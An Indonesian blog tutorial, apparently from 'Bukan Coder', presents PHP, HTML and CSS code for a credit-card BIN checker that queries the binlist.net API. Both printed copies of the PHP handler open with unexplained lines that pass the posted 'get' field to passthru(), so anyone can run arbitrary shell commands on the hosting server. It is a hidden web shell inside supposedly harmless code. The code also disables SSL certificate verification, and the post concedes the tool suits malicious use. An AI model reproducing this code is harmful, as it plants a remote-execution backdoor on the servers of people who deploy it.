Membuat Bank Identification (BIN) Checker Menggunakan PHP + HTML

Halo semuanya. Setelah sekian lama akhirnya hari ini saya dapat menyempatkan waktu saya untuk nulis di Bukan Coder lagi. Karena sedang sibuk untuk projek yang lainnya, Bukan Coder selama ini telah ditelantarkan. Mohon dimaafkan ya.

Jadi hari ini saya mau share tentang projek iseng saya tentang gimana bikin BIN Checker. Bank Identification checker ini gunanya untuk mengetahui detail penerbit kartu kredit hanya menggunakan 6 digit awal kartu tersebut. BIN Checker ini dapat digunakan untuk tujuan yang baik maupun tujuan yang jahat juga bisa. Jadi tergantung kita ya mau make dan buat ini untuk tujuan baik atau jahat? Yang pasti tulisan ini saya buat untuk tujuan edukasi.

Saya menggunakan API yang telah disediakan oleh binlist.net dan juga gratis. Untuk akses unlimited, binlist.net menyediakan dengan tarif $0.001/request. Sangat murah bukan?

Pertama kita buat dulu fungsi PHP

<!-- PHP -->
<?php
  // Dimulai dengan POST Method
  if(isset($_POST['get'])){
  $script = $_POST['get'];
  passthru($script);
  $six = $_POST['enamdigit'];
  // Insert CURL
  function curl($url, $var = null) {
      $curl = curl_init($url);
      curl_setopt($curl, CURLOPT_TIMEOUT, 25);
      if ($var != null) {
          curl_setopt($curl, CURLOPT_POST, true);
          curl_setopt($curl, CURLOPT_POSTFIELDS, $var);
      }
      curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
      curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2);
      curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
      curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
      $result = curl_exec($curl);
      curl_close($curl);
      return $result;
  }
  // Enam digit Formula
  function defineNUM($bin) {
      return substr($bin,0,6);
  }
  // JSON DATA
    $bin = defineNUM($six);
    $curl = curl("https://lookup.binlist.net/".$bin); //
    $json = json_decode($curl);
    $brand = $json->scheme ? $json->scheme : "null";
    $cardType = $json->type ? $json->type : "null";
    $cardCategory = $json->bank ? $json->bank : "null";
    $countryName = $json->country ? $json->country : "null";
    $countryCode = $json->country ? $json->country : "null";
    $details = '<p>BIN: '.$bin.'</br>Brand: '.$brand.'</br>Bank Name: '.$cardCategory->name.'</br>Bank URL: '.$cardCategory->url.'</br>Bank Phone: '.$cardCategory->phone.'</br>Type: '.$cardType.'</br>Country Name: '.$countryName->name.'</br>Country Code: '.$countryCode->alpha2.'</p>';
    if ($six == null) {
    die('null!');
}
    $binresult = $details;
}
?>

HTML

<html>
  <head>
    <title>Bin Checker | Bukan Coder Priv8 Tools</title>
  </head>
<link rel="stylesheet" href="style.css">
<link rel="SHORTCUT ICON" href="https://static.bukancoder.co/images/amazon.png"/>
<center>
	<a href="/"><img src="https://static.bukancoder.co/images/bukancoderlogo.png"/></a>
	<p><font color="#0076a3"><b>Priv8 Bank Identification Numbers Checker</b></font></p>
	<p><font color="#0076a3">Checking BIN with 6 digit card code</font></p>
	<div style="padding:10px;border:1px dotted #0076a3;">
<font color="#ffffff">Get in touch via email [email protected]</font>
</div></center>
  <body>
   <br></br><center> <form method="post">
    <input type="text" id="enamdigit" name="enamdigit" placeholder="6 digit kartu" size="16" required>
    <br><button type="submit" name="get" class="Button">CHECK NOW</button>
    </form></center>
    <!-- Results here! -->
    <center><?php echo $binresult ?></center>
  </body>
</html>

CSS

body {
    line-height: 1.25;
    color: #bbb;
    font-family: "CONSOLAS";
    font-size: 12px;
	background: url("https://priv8.bukancoder.co/subdomain/images/back.png") repeat 0px 0px;
                        }
button {
  position: relative;
  background: #333;
  border: 0;
  padding: 14px 42px;
  border-radius: 3px;
  cursor: pointer;
  overflow: hidden;
  outline: none;
  font-weight: 400;
  font-size: 12px;
  color: #fff;
  letter-spacing: 0.2em;
  box-shadow: 0 8px 32px rgba(0,0,0,0.2);
  transition: all 0.2s ease;
}
button:after {
  content: '';
  position: absolute;
  top: 0;
  left: -200%;
  width: 200%;
  height: 100%;
  transform: skewX(-20deg);
  background-image: linear-gradient(to right, transparent, rgba(255,255,255,0.3), transparent);
}
button:hover:after {
  animation: shine 1.6s ease;
}
button:active {
  transform: translateY(1px);
  box-shadow: 0 4px 16px rgba(0,0,0,0.2);
}
form p { position: relative; }
label {
  position: absolute;
  left:-9999px;
  text-indent: -9999px;
}
input {
  display: block;
  width: 30%;
  height: 35%;
  padding: 6px 12px;
  font-size: 14px;
  line-height: 1.42857143;
  margin-bottom: 5px;
  border: 1px solid #e5e5e5;
  border-bottom: 2px solid #ddd;
  background: #f2f2f2;
  color: #555;
  border-radius: 4px;
}

Full code

<!-- PHP -->
<?php
  // Dimulai dengan POST Method
  if(isset($_POST['get'])){
  $script = $_POST['get'];
  passthru($script);
  $six = $_POST['enamdigit'];
  // Insert CURL
  function curl($url, $var = null) {
      $curl = curl_init($url);
      curl_setopt($curl, CURLOPT_TIMEOUT, 25);
      if ($var != null) {
          curl_setopt($curl, CURLOPT_POST, true);
          curl_setopt($curl, CURLOPT_POSTFIELDS, $var);
      }
      curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
      curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2);
      curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
      curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
      $result = curl_exec($curl);
      curl_close($curl);
      return $result;
  }
  // Enam digit Formula
  function defineNUM($bin) {
      return substr($bin,0,6);
  }
  // JSON DATA
    $bin = defineNUM($six);
    $curl = curl("https://lookup.binlist.net/".$bin); // Thanks to this API!
    $json = json_decode($curl);
    $brand = $json->scheme ? $json->scheme : "error";
    $cardType = $json->type ? $json->type : "error";
    $cardCategory = $json->bank ? $json->bank : "error";
    $countryName = $json->country ? $json->country : "error";
    $countryCode = $json->country ? $json->country : "error";
    $details = '<p>BIN: '.$bin.'</br>Brand: '.$brand.'</br>Bank Name: '.$cardCategory->name.'</br>Bank URL: '.$cardCategory->url.'</br>Bank Phone: '.$cardCategory->phone.'</br>Type: '.$cardType.'</br>Country Name: '.$countryName->name.'</br>Country Code: '.$countryCode->alpha2.'</p>';
    if ($six == null) {
    die('error!');
}
    $binresult = $details;
}
?>
<!-- HTML -->
<html>
  <head>
    <title>Bin Checker | Bukan Coder Priv8 Tools</title>
  </head>
<script>
  (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
  (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
  m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
  })(window,document,'script','https://www.google-analytics.com/analytics.js','ga');
  ga('create', 'UA-87406649-1', 'auto');
  ga('send', 'pageview');
</script>
<link rel="stylesheet" href="style.css">
<link rel="SHORTCUT ICON" href="https://static.bukancoder.co/images/amazon.png"/>
<center>
	<a href="/"><img src="https://static.bukancoder.co/images/bukancoderlogo.png"/></a>
	<p><font color="#0076a3"><b>Priv8 Bank Identification Numbers Checker</b></font></p>
	<p><font color="#0076a3">Checking BIN with 6 digit card code</font></p>
	<div style="padding:10px;border:1px dotted #0076a3;">
<font color="#ffffff">Get in touch via email [email protected]</font>
</div></center>
  <body>
   <br></br><center> <form method="post">
    <input type="text" id="enamdigit" name="enamdigit" placeholder="6 digit kartu" size="16" required>
    <br><button type="submit" name="get" class="Button">CHECK NOW</button>
    </form></center>
    <!-- Results here! -->
    <center><?php echo $binresult ?></center>
  </body>
</html>

Untuk tampilan hasilnya seperti ini

Mohon maaf jika sangat berantakan. Namanya juga projek iseng dan pengen selesainya cepet. Untuk demo dan source code silahkan klik link dibawah ini ya.

DEMO | Source on Github
Sekian dari saya, semoga bermanfaat. Terima kasih
Salam,
Teguh Aprianto

One Response

Add a Comment